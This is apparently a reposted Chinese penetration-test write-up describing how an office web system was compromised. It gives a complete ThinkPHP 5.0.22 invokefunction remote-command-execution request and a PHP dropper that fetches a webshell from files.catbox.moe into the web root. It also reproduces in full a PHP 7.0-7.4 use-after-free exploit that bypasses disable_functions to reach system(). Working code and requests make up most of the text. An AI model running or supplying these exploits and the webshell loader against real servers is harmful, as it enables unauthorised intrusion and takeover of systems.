免责声明
由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
01 目标
客户给的一个办公系统。
www.xxx.com
02 信息收集
Goby 也没指望能扫到漏洞,重点关注下端口就行
1、22 ssh 端口
2、80/443 web 端口
3、888 phpMyadmin 服务端口(宝塔面板默认的 phpMyAdmin 服务端口)
4、9000 容器管理工具 Portainer 管理端口
03 Thinkphp命令执行
这个站点忘了关 thinkphp 的调试模式,随手瞅瞅就搞出了 thinkphp 的报错页面。
thinkphp 5.0.22 存在远程命令执行漏洞,一般的 EXP 长这样,原理就是通过 invokefunction 调用 call_user_func_array 实现远程命令执行,vars 变量表示参数。
GET /index.php?
s=index/think/app/invokefunction
&function=call_user_func_array
&vars[0]=phpinfo
&vars[1][]=4
值得注意的是,这个网站并没有 index 模块,只有 admin 模块,所以需要将 index 替换为 admin(你问我怎么知道?你去用 thinkphp 开发不就知道了~)
可以执行命令就想办法写个马上去~
用 https://files.catbox.moe 生成一个大马的直链,写个脚本来下载大马
<?php
$options = array("ssl"=>array("verify_peer"=>false, "verify_peer_name"=>false,));
$context = stream_context_create($options);
$data = file_get_contents("https://files.catbox.moe/z6eajy.php", false, $context);
file_put_contents("/www/wwwroot/export/export/public/i.php",$data);
echo "ok";
下面是完整的数据包:
GET /index.php?
s=admin/think/app/invokefunction
&function=call_user_func_array
&vars[0]=file_put_contents
&vars[1][]=/www/wwwroot/export/export/public/test.php
&vars[1][]=%3C%3Fphp%0A%0A%24options%20%3D%20array(%22ssl%22%3D%3Earray(%22verify_peer%22%3D%3Efalse%2C%20%22verify_peer_name%22%3D%3Efalse%2C))%3B%0A%24context%20%3D%20stream_context_create(%24options)%3B%0A%24data%20%3D%20file_get_contents(%22https%3A%2F%2Ffiles.catbox.moe%2Fz6eajy.php%22%2C%20false%2C%20%24context)%3B%0Afile_put_contents(%22%2Fwww%2Fwwwroot%2Fexport%2Fexport%2Fpublic%2Fi.php%22%2C%24data)%3B%0Aecho%20%22ok%22%3B%0A
上面就表示,将下载大马的脚本存储到/www/wwwroot/export/export/public/test.php` 文件来,文件路径可以通过 ThinkPHP 的报错获得。
我们直接访问 test.php 就可以将大马下载到 /www/wwwroot/export/export/public/i.php
接着访问大马~
04 Getshell
PHP 命令执行绕过
针对 PHP7.0-7.4 的 exp 如下:
<?php# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
执行 id 看了下,不出意外是 www 权限。
05 往期精彩
文章来源:网络安全情报攻防站
原文地址:https://t.zsxq.com/04NZbUZvR
如需转载本样式风格、字体版权,请保留出处:李白你好